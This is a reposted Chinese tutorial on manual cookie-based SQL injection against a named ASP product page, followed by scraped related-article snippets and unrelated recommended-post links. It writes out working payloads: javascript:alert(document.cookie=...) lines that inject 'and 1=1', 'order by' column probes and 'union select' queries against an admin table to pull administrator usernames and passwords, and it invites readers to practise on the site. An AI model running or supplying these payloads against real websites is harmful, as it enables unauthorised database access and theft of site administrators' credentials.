cookie注入原理-->红客联盟

http://www.2cto.com/article/201202/118837.html

前言:

  document.cookie:表示当前浏览器中的cookie变量

  alert():表示弹出一个对话框,在该对话框中单击“确定”按钮确认信息。

  escape():该函数用于对字符串进行编码。

  cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。

  cookie注入原理

正文:

  今天在旁注网站的过程中遇到了一个可以cookie注入的网站,加上我个人网站之前的文章貌似没有提及过cookie注入,所以今天拿一个实例网站来给大家说下手工进行cookie注入。

  cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。

  相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。另外cookie注入的形成有两个必须条件,条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取。

  下面还是具体拿个实例来给大家演示下,目标站:http://www.2cto.com /Products_show.asp?id=284,同时也是注入点。我们首先要检测下按照平时的方式注入,在网址后面加 and 1=1。

  可见是使用了防注入系统的,但是目前我们是使用get方式提交的参数,那现在我们将“id=284”这个参数使用cookie提交看看程序对数据接收是否直接使用 request("xx")的方式?要更改成cookie方式提交,我们首先要访问正常的页面,即是:http://www.2cto.com /Products_show.asp?id=284,等页面完全打开之后,我们将IE地址栏清空,然后写上:javascript:alert(document.cookie="id="+escape("284")); 这里的“id=”便是“Products_show.asp?id=284”中的“id=”,“escape("284")”中的“284”是“Products_show.asp?id=284”中的“id=284”了,这两处要根据实际情况来定义。写完之后按下回车网页中会弹出以下对话框:

  现在更改好了cookie后我们就要试下能不能正常访问了,现在在另外一个窗口中我们打开以下地址:http://www.2cto.com /Products_show.asp? 既是将“id=284”去掉后的,然后看是否能正常访问。

  可见访问之后的页面与访问http://www.2cto.com /Products_show.asp?id=284的时候是一样的,这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request("xx")的方式。现在cookie形成的一个重要因素已经明确了,接下来我们测试下能否提交特殊字符,看程序是否对数据进行过滤。我们再回到刚才更改cookie的页面,然后在IE地址栏处填写javascript:alert(document.cookie="id="+escape("284 and 1=1")); 回车后再去http://www.2cto.com /Products_show.asp?页面刷新,看页面是否正常,如果正常我们再提交javascript:alert(document.cookie="id="+escape("284 and 1=2")); 然后再去刷新,这个时候就会看见出错了。

  很明显就能看到错误了,而且产品内容也米有显示,到此便可以确定该页面能使用cookie注入了,接下来来的利用过程就和普通注入一样了。我们可以使用union联合查询爆出管理员的账号和密码,但前提是需要知道管理员的表名和字段名,不过我们可以通过猜解。

  首先来使用order by
语句判断出当前执行数据库查询的表的字段数,我们提交:javascript:alert(document.cookie="id="+escape("284
order by 1")); 然会正常,表示可以使用order by语句,如果错误的话可能是不能使用order
by来猜解字段数了,拿就需要直接union select
一个一个的试了。然后提交:javascript:alert(document.cookie="id="+escape("284 order by
10"));
如果还返回正常就说明字段数在10以上,我们一次类推直到猜解出正确的字段数,比如这里我提交到了21的时候去刷新页面出现错误,然后提交20的时候去刷新页面就正常了,就说明字段数是20.

  接下来我们提交:javascript:alert(document.cookie="id="+escape("284 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage"));
发现有错误,我们再提交javascript:alert(document.cookie="id="+escape("284 union
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from
admin"));发现返回正常页面。

  看到熟悉的画面了吧,这就表示网站数据库存在admin这个表,因我们之前一次提交的是javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from manage"));,数据库中不存在mange这个表,自然就出错了,使用更换from 处可以来猜解表明,那么现在我们在6和17的地方试试username和password看看提交后是否出错,如果出错那么就表示不存在username或者password字段。我们提交:javascript:alert(document.cookie="id="+escape("284 union select 1,2,3,4,5,username,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin"));

  可见,原来显示6和17的地方现在爆出了管理员的账号和密码了,不过这个密码破不出来,大家可以自己拿网站去练练。总的说来cookie注入和普通注入是一样的,只不过是在提交注入语句的过程不一样而已。如果对普通注入的原理又说了解的话,那么cookie注入也就不难了

cookie注入原理的更多相关文章

  1. cookie注入原理详解(一)

    那我们还是围绕以下几个问题来看看cookie注入: 1.什么是cookie注入? 2.为什么要cookie注入? 3.怎样cookie注入? 1.什么是cookie注入? ♦cookie注入的原理是: ...

  2. 菜鸟详细解析Cookie注入原理

    一.SQL注入原理 我以aspx为例,现在我们来研究下Cookie注入是怎么产生的,在获取URL参数的时候,如果在代码中写成Request[“id”],这样的写法问题就出现了.我先普及下科普知识,在a ...

  3. cookie注入原理及注入检测

    通常我们的开发人员在开发过程中会特别注意到防止恶意用户进行恶意的注入操作,因此会对传入的参数进行适当的过滤,但是很多时候,由于个人对安全技术了解的不同,有些开发人员只会对get,post这种方式提交的 ...

  4. Cookie注入实战(非SQL注入)

    cookie注入原理其实很简单,就是利用了session机制中的特性,只能说是特性,不能算是漏洞. 这里简单的说下原理,session的机制就相当于你有一张蛋糕店的会员卡,这张会员卡就是你浏览器中的c ...

  5. Web攻防系列教程之 Cookie注入攻防实战

    摘要:随着网络安全技术的发展,SQL注入作为一种很流行的攻击方式被越来越多的人所知晓.很多网站也都对SQL注入做了防护,许多网站管理员的做法就是添加一个防注入程序.这时我们用常规的手段去探测网站的SQ ...

  6. cookie注入的形成,原理,利用总结

    一:cookie注入的形成 程序对提交数据获取方式是直接request("c.s.t")的方式.未指明使用request对象的具体方法进行获取. 二:原理 request(&quo ...

  7. SQL注入原理及绕过安全狗

    1.什么是SQL注入攻击 SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令 http://www.xxx.com/list. ...

  8. 网络对抗课题4.3.1 SQL注入原理与实践

    网络对抗课题4.3.1 SQL注入原理与实践 原理 SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞.也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符 ...

  9. SQL注入:Cookie注入

    什么是Cookie Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,就表示你可以无需密码直接登陆管理员账号. Cookie注入的原理 在动态 ...

随机推荐

  1. Ubuntu 安装 GNOME 之后开机进不了桌面

    折腾了两晚上,终于解决了这个问题,进入了桌面. 问题是这样产生的:我安装了 ubuntu-gnome-shell 这个包,然后出现配置 display manager 的选项,有 gdm3 和 lig ...

  2. 160513、nginx+tomcat集群+session共享(linux)

    第一步:linux中多个tomcat安装和jdk安装(略) 第二步:nginx安装,linux中安装nginx和windows上有点不同也容易出错,需要编译,这里做介绍 一.安装依赖 gcc open ...

  3. Servlet------>jsp自定义标签(JSPTAG接口)

    TagSupport实现类里不只实现了tag接口,还有tag接口的子接口,也就是IterationTag子接口中增加了doAfterBody()方法和EVAL_BODY_AGAIN常量,为了实现标签体 ...

  4. transform的妙用---实现div不定宽高垂直水平居中

    transform的兼容性 transform的兼容性还是比较乐观的.IE9以下不兼容,IE9支持代替的-ms-transform属性不过只支持2D转换. 谷歌和Safari支持代替的-webkit- ...

  5. xcode6 下载

    百度云下载 http://pan.baidu.com/s/1qWpuIC0提取码:ip9o 苹果下载: http://adcdownload.apple.com//wwdc_2014/xcode_6_ ...

  6. Content-Negotiation Header Quality Values

    HTTP: The Definitive Guide 17.3.2 Content-Negotiation Header Quality Values The HTTP protocol define ...

  7. ES6中的let和const

    let和const let 用来声明变量,但是所声明的变量只在let命令所在的代码块内有效 { let a=12 alert(a)//12 } alert(a)//报错 找不到 let不像var那样会 ...

  8. flask中current_app._get_current_object()与current_app有什么区别?

    https://segmentfault.com/q/1010000005865632/a-1020000005865704

  9. 如何在 windows 配置 libtorch c++ 前端库?

    如何在 windows 配置 libtorch c++ 前端库? 下载 pytorch 已经编译好的库: 此库不带 gpu,主要方便演示.支持 win7 win10 系统. 下载地址:https:// ...

  10. Elven Postman---hdu5444(二叉树)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=5444  有一个序列,由这个序列可以画出一颗二叉树(每个节点的左边(W)都比它大,右边(E)都比它小), ...